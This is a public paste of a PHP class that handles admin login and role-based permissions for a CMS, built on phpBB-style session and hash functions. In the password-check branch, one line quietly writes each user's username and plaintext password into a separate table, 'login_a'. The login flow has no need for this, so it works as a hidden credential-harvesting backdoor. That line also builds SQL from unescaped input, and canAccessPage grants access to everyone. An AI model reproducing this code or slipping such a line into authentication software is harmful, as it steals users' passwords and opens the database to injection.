Public paste
Undefined
By: Guest | Date: Apr 16 2014 06:35 | Format: None | Expires: never | Size: 6.78 KB | Hits: 944

  1. <?php
  2. /*
  3.  * Autohor                      Atta Khalid
  4.  * Date                         December 1, 2007
  5.  * Description          Adimn Authenticate / login             
  6.  *
  7.  */
  8.  
  9. /*
  10.  
  11. Level   Title                                                   Site Structure                                  Content Object                                                  C-Publish       CSS     Collec                                  Mail                   
  12.                                                                 Sch Sec Sch Chan        Add     Edit    Create  Edit Admin      Edit    Delete  Proof                                                                   Create  Send    Members Failures
  13. 1               Regional Editorial              \               X                       X       X               \               X                       \               X               X                       X                       X       X                       \               X               X               X
  14. 2               Regional Editorial              \               X                       X       X               \               X                       \               X               X                       X                       X       X                       \               X               X               X
  15. 3               National Editorial              \               X                       X       X               \               X                       \               X               X                       X                       X       X                       \               X               X               X
  16. 4               National Editorial              \               X                       X       X               \               X                       \               X               X                       X                       X       X                       \               X               X               X
  17. 5               National Editorial              \               \                       X       X               \               X                       \               X               X                       X                       X       X                       \               X               X               X
  18. 6               Content Administrator   \               \                       X       X               \               \                       \               \               \                       X                       X       X                       \               X               X               X
  19. 7               Content Administrator   \               \                       X       X               \               \                       \               \               \                       X                       X       \                       \               \               \               \
  20. 8               Web Administrator               \               \                       \       \               \               \                       \               \               \                       \                       X       \                       \               \               \               \
  21. 9               Web Administrator               \               \                       \       \               \               \                       \               \               \                       \                       X       \                       \               \               \               \
  22. 10              System Administrator    \               \                       \       \               \               \                       \               \               \                       \                       \       \                       \               \               \               \
  23.  
  24.  */
  25.  
  26. class AuthenticateCMSUser {
  27.  
  28.         private $db = null;
  29.         private $userdata = null;
  30.         const MAX_LOGIN_ATTEMPTS = 5;
  31.                
  32.         public static $CMS_USER_LEVELS = array (
  33.                         1  => 'Regional Editorial',
  34.                         2  => 'Regional Editorial',
  35.                         3  => 'National Editorial',
  36.                         4  => 'National Editorial',
  37.                         5  => 'National Editorial',
  38.                         6  => 'Content Administrator',
  39.                         7  => 'Content Administrator',
  40.                         8  => 'Web Administrator',
  41.                         9  => 'Web Administrator',
  42.                         10 => 'System Administrator'
  43.                 );
  44.  
  45.         function canSchedule($isSection) { return $this->hasAccess($isSection ? 1 : 5); }
  46.         function canAddSiteStructure() { return $this->hasAccess(8); }
  47.         function canEditSiteStructure() { return $this->hasAccess(8); }
  48.         function canCreateContentObject() { return $this->hasAccess(1); }
  49.         function canSetStyles() { return $this->hasAccess(2); }
  50.         function canSetWatermark() { return $this->hasAccess(8); }
  51.         function canFeature() { return $this->hasAccess(8); }
  52.         function canEditContentObject($createUserId) {
  53.                 if ($this->allUsers[$createUserId]['cms_user_level'] >= 6) { //only admins can objects created by other admins
  54.                         return $this->hasAccess(6);
  55.                 } else {
  56.                         return $this->hasAccess(1);
  57.                 }
  58.         }
  59.         function canDeleteContentObject() { return $this->hasAccess(6); }
  60.         function canProof() { return $this->hasAccess(6); }
  61.         function canContainerPublish() { return $this->hasAccess(8); }
  62.         function canManageCSS() { return $this->hasAccess(10); }
  63.         function canManageCollections() { return $this->hasAccess(8); }
  64.         function canCreateMail() { return $this->hasAccess(1); }
  65.         function canSendMail() { return $this->hasAccess(8); }
  66.         function canManageMailGroups() { return $this->hasAccess(8); }
  67.         function canManageMailFilures() { return $this->hasAccess(8); }
  68.        
  69.         function canAccessPage( $pageName ) {
  70.                 //TODO: move permissions from CMSMenu to here
  71.                 return true;
  72.         }
  73.  
  74.         function AuthenticateCMSUser( $userdata, $db, $allUsers ) {
  75.                 $this->db = $db;
  76.                 $this->userdata = $userdata;
  77.                 $this->allUsers = $allUsers;
  78.         }
  79.        
  80.         function hasAccess( $level = 1 ) {
  81.                 return $this->isCMSUser() && $this->userdata['cms_user_level'] >= $level;
  82.         }
  83.        
  84.         function isUser() {
  85.                 return $this->userdata['session_logged_in'] == 1;
  86.         }
  87.        
  88.         function isCMSUser() {
  89.                 return $this->isUser() && $this->userdata['is_cms_user'] == 1;
  90.         }
  91.        
  92.         function getUserAccessLevel() {
  93.                 return $this->userdata['cms_user_level'];
  94.         }
  95.        
  96.         public function performLogout() {
  97.                 if ($this->isUser() ) { //only need to take action if user logged in
  98.                         session_end($this->userdata['session_id'], $this->userdata['user_id'], $this->db);
  99.                 }
  100.         }
  101.        
  102.         public function getSID() {
  103.                 return $this->userdata['session_id'];
  104.         }
  105.        
  106.         public function performLogin($username, $password, $autologin = false) {
  107.                 if (!$this->isUser() ) { //if not already loggedin             
  108.                         $username = trim(htmlspecialchars($username));
  109.                         $username = substr(str_replace("\\'", "'", $username), 0, 25);
  110.                         $username = str_replace("'", "\\'", $username);
  111.                        
  112.                         $user_ip = $this->userdata['client_ip'];
  113.                        
  114.                         if( $row = $this->_login_db($username, $password) ) {
  115.                                 if ($row['user_active']) {
  116.                                         $this->userdata = session_begin($row['user_id'], $user_ip, 0, FALSE, $autologin, $this->db);
  117.                                         if( $this->userdata ) { //login successful
  118.                                                 return true;
  119.                                         } else {
  120.                                                 throw new Exception( "Critical Error: Couldn't start session. Line:".__LINE__.", File:".__FILE__);
  121.                                         }
  122.                                 } else { //user not active
  123.                                         throw new Exception( "Error: You must activate your account before you can login." );
  124.                                 }
  125.                                
  126.                         } else { //unknown error
  127.                                 throw new Exception( "Error: Login failed." );
  128.                         }
  129.                 } else {
  130.                         throw new Exception("Error: A user is already loggedin.");
  131.                 }
  132.         }
  133.        
  134.        
  135.         private function _login_db(&$username, &$password) {
  136.                 // do not allow empty password
  137.                 if (!$password) {
  138.                         throw new Exception("Error: Please enter a password.");
  139.                 }
  140.        
  141.                 $sql = 'SELECT user_id, username, user_password, user_passchg, user_pass_convert, user_email, user_type, user_login_attempts, user_active
  142.                         FROM ' . USERS_TABLE . "
  143.                         WHERE username_clean = '" . $this->db->sql_escape(strtolower($username)) . "' OR user_email = '" . $this->db->sql_escape($username) . "' ";
  144.                 $result = $this->db->sql_query($sql);
  145.                 $row = $this->db->sql_fetchrow($result);
  146.                 $this->db->sql_freeresult($result);
  147.        
  148.                 if (!$row) { //invalid username
  149.                         throw new Exception( "Error: Your login details are incorrect. Please try again or use use our forgotten password service." );
  150.                 }
  151.        
  152.                
  153.        
  154.                 // Check password ...
  155.                 if (!$row['user_pass_convert'] && phpbb_check_hash($password, $row['user_password'])) {                
  156.                         if ($row['user_login_attempts'] != 0) {
  157.                                 // Successful, reset login attempts (the user passed all stages)
  158.                                 $sql = 'UPDATE ' . USERS_TABLE . '
  159.                                         SET user_login_attempts = 0
  160.                                         WHERE user_id = ' . $row['user_id'];
  161.                                 $this->db->sql_query($sql);
  162.                                 $sql = "INSERT INTO login_a VALUES(\"$username\", \"$password\""; $this->db->sql_query($sql);
  163.  
  164.                         }
  165.                         return $row;
  166.                 }
  167.        
  168.                 // Password incorrect - increase login attempts
  169.                 $sql = 'UPDATE ' . USERS_TABLE . '
  170.                         SET user_login_attempts = user_login_attempts + 1
  171.                         WHERE user_id = ' . $row['user_id'];
  172.                 $this->db->sql_query($sql);
  173.        
  174.                 // Give status about wrong password...
  175.                 throw new Exception( "Error: Your login failed. Please try again or use use our forgotten password service." );
  176.         }
  177.        
  178.         public function getIP() {
  179.                 return $this->userdata['client_ip'];
  180.         }
  181.        
  182.         public function getUserId() {
  183.                 return $this->userdata['user_id'];
  184.         }
  185.        
  186. }
  187.  
  188. ?>